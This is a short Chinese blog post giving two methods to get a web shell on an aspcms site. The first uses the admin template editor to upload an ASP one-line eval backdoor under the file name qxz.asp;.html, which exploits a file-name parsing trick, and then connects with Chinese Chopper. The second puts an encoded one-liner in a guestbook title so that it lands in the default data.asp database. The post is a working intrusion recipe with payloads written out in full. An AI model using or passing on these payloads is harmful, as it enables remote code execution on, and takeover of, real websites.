aspcms后台拿shell的两种方法

aspcms后台拿shell的两种方法:

第一种:点击“界面风格”,然后选“编辑模板/CSS文件”,然后“添加模板”,文件名称写qxz.asp;.html,
在文件内容写一句话
<%eval request(“qxz”)%>
然后点击添加,会提示添加成功,然后在模板列表中就可以找到我们添加的一句话:qxz.asp;.html 点这个文件就会弹出插入一句话的页面,OK然后菜刀连接。

第二种:前台留言插入一句话,这个要默认数据库才可以使用,数据库默认配置为asp.目录在/data/data.asp下

在留言的标题处插入:┼攠數畣整爠煥敵瑳∨≡┩愾

原创文章转载请注明:转载自 七行者博客

本文固定链接: http://www.qxzxp.com/3871.html